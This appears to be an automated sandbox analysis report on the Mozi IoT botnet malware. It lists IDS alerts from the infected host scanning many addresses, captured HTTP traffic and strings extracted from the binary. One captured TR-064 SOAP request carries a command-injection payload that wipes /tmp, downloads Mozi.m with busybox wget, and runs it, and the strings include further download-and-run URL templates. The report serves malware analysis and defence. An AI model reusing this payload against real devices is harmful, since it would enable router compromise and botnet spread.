2024-12-11T00:43:55.291881+0100	2029034	1	Web Application Attack	192.168.2.23	37112	82.181.66.3	80	TCP
2024-12-11T00:43:55.299498+0100	2029034	1	Web Application Attack	192.168.2.23	52432	36.97.33.187	49152	TCP
2024-12-11T00:43:55.304956+0100	2029034	1	Web Application Attack	192.168.2.23	59112	102.56.202.225	80	TCP
2024-12-11T00:43:55.331787+0100	2029034	1	Web Application Attack	192.168.2.23	60564	211.23.135.120	8080	TCP
2024-12-11T00:43:55.344162+0100	2029034	1	Web Application Attack	192.168.2.23	53128	193.31.48.98	7574	TCP
2024-12-11T00:43:55.354426+0100	2029034	1	Web Application Attack	192.168.2.23	50574	4.3.110.0	8080	TCP
2024-12-11T00:43:55.355161+0100	2029034	1	Web Application Attack	192.168.2.23	48332	73.52.189.122	7574	TCP
2024-12-11T00:43:55.366780+0100	2029034	1	Web Application Attack	192.168.2.23	40940	191.76.14.223	80	TCP
2024-12-11T00:43:56.288623+0100	2029034	1	Web Application Attack	192.168.2.23	42166	204.128.136.138	8080	TCP
2024-12-11T00:43:56.295483+0100	2029034	1	Web Application Attack	192.168.2.23	49556	219.249.5.112	8080	TCP
2024-12-11T00:43:56.321738+0100	2029034	1	Web Application Attack	192.168.2.23	57416	16.56.252.137	8080	TCP
2024-12-11T00:43:56.347919+0100	2029034	1	Web Application Attack	192.168.2.23	40264	110.24.108.211	7574	TCP
2024-12-11T00:43:57.280236+0100	2029034	1	Web Application Attack	192.168.2.23	37364	141.61.164.116	5555	TCP
2024-12-11T00:43:57.295643+0100	2029034	1	Web Application Attack	192.168.2.23	57556	112.110.69.17	8080	TCP
2024-12-11T00:43:57.327795+0100	2029034	1	Web Application Attack	192.168.2.23	39172	165.215.144.109	49152	TCP
2024-12-11T00:43:57.341006+0100	2029034	1	Web Application Attack	192.168.2.23	59698	72.133.204.150	8080	TCP
2024-12-11T00:43:57.362391+0100	2029034	1	Web Application Attack	192.168.2.23	38588	18.56.150.55	80	TCP
2024-12-11T00:43:57.373255+0100	2029034	1	Web Application Attack	192.168.2.23	47838	148.163.41.36	7574	TCP
2024-12-11T00:43:57.383225+0100	2029034	1	Web Application Attack	192.168.2.23	56660	182.41.168.5	80	TCP
2024-12-11T00:43:58.287804+0100	2029034	1	Web Application Attack	192.168.2.23	52954	190.249.160.237	7574	TCP
2024-12-11T00:43:58.312982+0100	2029034	1	Web Application Attack	192.168.2.23	42338	199.4.231.127	5555	TCP
2024-12-11T00:43:58.319565+0100	2029034	1	Web Application Attack	192.168.2.23	41090	213.120.222.219	80	TCP
2024-12-11T00:43:58.363352+0100	2029034	1	Web Application Attack	192.168.2.23	46440	46.12.15.93	7574	TCP
2024-12-11T00:43:59.321666+0100	2029034	1	Web Application Attack	192.168.2.23	55980	12.62.192.194	49152	TCP
2024-12-11T00:43:59.336327+0100	2029034	1	Web Application Attack	192.168.2.23	56456	138.194.129.196	7574	TCP
2024-12-11T00:43:59.340233+0100	2029034	1	Web Application Attack	192.168.2.23	36494	212.30.42.82	49152	TCP
2024-12-11T00:44:00.190810+0100	2029034	1	Web Application Attack	192.168.2.23	54558	175.180.83.224	8080	TCP
2024-12-11T00:44:00.279287+0100	2029034	1	Web Application Attack	192.168.2.23	57814	75.151.1.33	49152	TCP
2024-12-11T00:44:00.285272+0100	2029034	1	Web Application Attack	192.168.2.23	57832	204.117.44.164	7574	TCP
2024-12-11T00:44:00.303101+0100	2029034	1	Web Application Attack	192.168.2.23	38474	148.70.224.210	5555	TCP
2024-12-11T00:44:00.332326+0100	2029034	1	Web Application Attack	192.168.2.23	45806	142.5.217.81	80	TCP
2024-12-11T00:44:00.379900+0100	2029034	1	Web Application Attack	192.168.2.23	50720	217.188.69.154	5555	TCP
2024-12-11T00:44:01.285279+0100	2029034	1	Web Application Attack	192.168.2.23	33980	185.183.174.169	5555	TCP
2024-12-11T00:44:01.321105+0100	2029034	1	Web Application Attack	192.168.2.23	38078	110.121.213.150	5555	TCP
2024-12-11T00:44:01.322948+0100	2029034	1	Web Application Attack	192.168.2.23	58484	36.117.67.118	5555	TCP
2024-12-11T00:44:01.378991+0100	2029034	1	Web Application Attack	192.168.2.23	58088	210.37.54.139	49152	TCP
2024-12-11T00:44:02.310475+0100	2029034	1	Web Application Attack	192.168.2.23	51180	89.2.89.84	5555	TCP
2024-12-11T00:44:02.336275+0100	2029034	1	Web Application Attack	192.168.2.23	50660	143.57.215.244	80	TCP
2024-12-11T00:44:02.347931+0100	2029034	1	Web Application Attack	192.168.2.23	57510	147.253.7.206	49152	TCP
2024-12-11T00:44:02.352667+0100	2029034	1	Web Application Attack	192.168.2.23	46032	68.231.125.1	80	TCP
2024-12-11T00:44:02.369171+0100	2029034	1	Web Application Attack	192.168.2.23	53180	96.190.191.68	80	TCP
2024-12-11T00:44:02.374269+0100	2029034	1	Web Application Attack	192.168.2.23	39046	59.119.110.146	8080	TCP
2024-12-11T00:44:03.286655+0100	2029034	1	Web Application Attack	192.168.2.23	56438	159.166.66.226	80	TCP
2024-12-11T00:44:03.308189+0100	2029034	1	Web Application Attack	192.168.2.23	50938	147.235.125.215	80	TCP
2024-12-11T00:44:03.323178+0100	2029034	1	Web Application Attack	192.168.2.23	54560	32.113.47.182	80	TCP
2024-12-11T00:44:03.343455+0100	2029034	1	Web Application Attack	192.168.2.23	55552	208.178.221.93	8080	TCP
2024-12-11T00:44:03.382558+0100	2029034	1	Web Application Attack	192.168.2.23	46596	21.158.101.72	5555	TCP
2024-12-11T00:44:03.388766+0100	2029034	1	Web Application Attack	192.168.2.23	46614	116.71.218.113	8080	TCP
2024-12-11T00:44:04.285748+0100	2029034	1	Web Application Attack	192.168.2.23	38898	17.171.111.8	7574	TCP
2024-12-11T00:44:04.294352+0100	2029034	1	Web Application Attack	192.168.2.23	48404	20.93.46.56	8080	TCP
2024-12-11T00:44:04.304832+0100	2029034	1	Web Application Attack	192.168.2.23	50676	120.82.140.135	49152	TCP
2024-12-11T00:44:04.314111+0100	2029034	1	Web Application Attack	192.168.2.23	57520	121.27.111.29	5555	TCP
2024-12-11T00:44:04.323773+0100	2029034	1	Web Application Attack	192.168.2.23	42236	153.180.40.130	5555	TCP
2024-12-11T00:44:04.346775+0100	2029034	1	Web Application Attack	192.168.2.23	37148	89.176.240.190	80	TCP
2024-12-11T00:44:04.361763+0100	2029034	1	Web Application Attack	192.168.2.23	35004	137.225.175.205	8080	TCP
2024-12-11T00:44:04.385952+0100	2029034	1	Web Application Attack	192.168.2.23	46198	213.205.169.70	80	TCP
2024-12-11T00:44:04.878039+0100	2029034	1	Web Application Attack	192.168.2.23	58790	3.8.236.228	7574	TCP
2024-12-11T00:44:05.306868+0100	2029034	1	Web Application Attack	192.168.2.23	48252	70.156.83.183	5555	TCP
2024-12-11T00:44:05.315821+0100	2029034	1	Web Application Attack	192.168.2.23	35290	31.243.87.200	49152	TCP
2024-12-11T00:44:05.317391+0100	2029034	1	Web Application Attack	192.168.2.23	52580	25.45.221.225	5555	TCP
2024-12-11T00:44:05.355163+0100	2029034	1	Web Application Attack	192.168.2.23	32782	77.84.251.239	7574	TCP
2024-12-11T00:44:05.372329+0100	2029034	1	Web Application Attack	192.168.2.23	59942	39.76.9.189	49152	TCP
2024-12-11T00:44:06.288795+0100	2029034	1	Web Application Attack	192.168.2.23	46118	214.64.175.228	80	TCP
2024-12-11T00:44:06.295364+0100	2029034	1	Web Application Attack	192.168.2.23	54140	140.219.139.217	49152	TCP
2024-12-11T00:44:06.303724+0100	2029034	1	Web Application Attack	192.168.2.23	38144	146.143.230.229	49152	TCP
2024-12-11T00:44:06.313190+0100	2029034	1	Web Application Attack	192.168.2.23	53762	221.0.197.189	5555	TCP
2024-12-11T00:44:06.322731+0100	2029034	1	Web Application Attack	192.168.2.23	52306	208.135.113.127	80	TCP
2024-12-11T00:44:06.336012+0100	2029034	1	Web Application Attack	192.168.2.23	43904	199.21.178.13	5555	TCP
2024-12-11T00:44:06.336426+0100	2029034	1	Web Application Attack	192.168.2.23	46570	1.131.77.191	7574	TCP
2024-12-11T00:44:06.345315+0100	2029034	1	Web Application Attack	192.168.2.23	55506	217.93.60.9	80	TCP
2024-12-11T00:44:06.359885+0100	2029034	1	Web Application Attack	192.168.2.23	60100	85.107.234.176	8080	TCP
2024-12-11T00:44:07.300740+0100	2029034	1	Web Application Attack	192.168.2.23	41442	123.17.139.178	7574	TCP
2024-12-11T00:44:07.320798+0100	2029034	1	Web Application Attack	192.168.2.23	52954	92.197.11.107	49152	TCP
2024-12-11T00:44:07.321904+0100	2029034	1	Web Application Attack	192.168.2.23	59698	4.88.106.195	80	TCP
2024-12-11T00:44:07.335898+0100	2029034	1	Web Application Attack	192.168.2.23	45338	159.41.41.59	80	TCP
2024-12-11T00:44:07.347981+0100	2029034	1	Web Application Attack	192.168.2.23	51528	102.95.198.31	49152	TCP
2024-12-11T00:44:07.372219+0100	2029034	1	Web Application Attack	192.168.2.23	55786	109.9.205.123	80	TCP
2024-12-11T00:44:07.372597+0100	2029034	1	Web Application Attack	192.168.2.23	47396	213.205.7.142	8080	TCP
2024-12-11T00:44:08.319776+0100	2029034	1	Web Application Attack	192.168.2.23	43714	187.36.28.30	8080	TCP
2024-12-11T00:44:08.336001+0100	2029034	1	Web Application Attack	192.168.2.23	51040	7.245.225.8	49152	TCP
2024-12-11T00:44:08.345922+0100	2029034	1	Web Application Attack	192.168.2.23	53242	32.47.171.164	80	TCP
2024-12-11T00:44:08.725493+0100	2029034	1	Web Application Attack	192.168.2.23	49304	62.24.138.22	80	TCP
2024-12-11T00:44:09.285920+0100	2029034	1	Web Application Attack	192.168.2.23	48964	123.153.95.194	7574	TCP
2024-12-11T00:44:09.295231+0100	2029034	1	Web Application Attack	192.168.2.23	42368	210.0.231.236	80	TCP
2024-12-11T00:44:09.321728+0100	2029034	1	Web Application Attack	192.168.2.23	40710	125.214.113.190	49152	TCP
2024-12-11T00:44:09.350616+0100	2029034	1	Web Application Attack	192.168.2.23	34754	62.222.101.145	8080	TCP
2024-12-11T00:44:09.383184+0100	2029034	1	Web Application Attack	192.168.2.23	37618	15.239.99.196	80	TCP
2024-12-11T00:44:10.300385+0100	2029034	1	Web Application Attack	192.168.2.23	51662	177.57.59.129	7574	TCP

HTTP traffic detected: POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7574User-Agent: Hello, worldSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 2e 31 3a 38 30 38 38 2f 4d 6f 7a 69 2e 6d 20 26 26 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 74 72 30 36 34 20 26 26 20 2f 74 6d 70 2f 74 72 30 36 34 20 74 72 30 36 34 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 32 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 33 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 34 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 60 65 63 68 6f 20 44 45 41 54 48 60 3c 2f 4e 65 77 4e 54 50 53 65 72 76 65 72 35 3e 3c 2f 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://192.168.1.1:8088/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 23:42:57 GMTServer: Apache/2.4.58 ()Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 23:43:08 GMTServer: Apache/2.4.62 (Debian)Content-Length: 280Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 32 37 35 30 34 34 2e 6d 65 6c 62 69 2e 73 70 61 63 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.62 (Debian) Server at 275044.melbi.space Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 23:44:18 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: closeX-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 23:44:19 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Tue, 10 Dec 2024 23:44:38 GMTContent-Type: text/htmlContent-Length: 150Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 23:44:45 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 23:45:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 32 33 3a 34 35 3a 34 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30HTTP/1.1 400 Bad RequestServer: nginxDate: Tue, 10 Dec 2024 23:45:49 GMTContent-Type: text/htmlContent-Length: 150Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 23:46:14 GMTServer: ApacheAccept-Ranges: bytesContent-Length: 955Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 76 2c 20 69 6d 67 7b 20 62 65 68 61 76 69 6f 72 3a 75 72 6c 28 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 73 63 72 69 70 74 73 2f 69 65 70 6e 67 66 69 78 2e 68 74 63 29 20 7d 0a 09 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 62 6f 78 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 6f 62 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 72 61 64 22 3e 26 6e 62 73 70 3b 3c 2f 73 70 61 6e 3e 20 20 0a 09 09 09 09 09 3c 68 31 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 09 09 3c 70 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 44 69 65 20 61 6e 67 65 66 6f 72 64 65 72 74 65 20 53 65 69 74 65 20 65 78 69 73 74 69 65 72 74 20 6e 69 63 68 74 20 6f 64 65 72 20 73 74 65 68 74 20 74 65 6d 70 6f 72 c3 a4 72 20 6e 69 63 68 74 20 7a 75 72 20 56 65 72 66 c3 bc 67 75 6e 67 2e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 42 69 74 74 65 20 76 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 65 69 6e 6d 61 6c 20 6f 64 65 72 20 72 75 66 65 6e 20 53 69 65 20 64 69 65 20 53 74 61 72 74 73 65 69 74 65 20 64 65 72 20 67 65 77 c3 bc 6e 73 63 68 74 65 6e 20 44 6f 6d 61 69 6e 20 61 75 66 2e 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 75 6e 74 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a

Source: networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.a;chmod
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.a;sh$
Source: networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;$
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
Source: networks.14.dr	String found in binary or memory: http://%s:%d/bin.sh
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: networks.14.dr	String found in binary or memory: http://127.0.0.1
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://127.0.0.1sendcmd
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://HTTP/1.1
Source: Mozi.m.elf, networks.14.dr	String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: kmod.sh.14.dr	String found in binary or memory: http://git.kernel.org/cgit/utils/kernel/kmod/kmod.git/commit/libkmod/libkmod-module.c?id=fd44a98ae2e
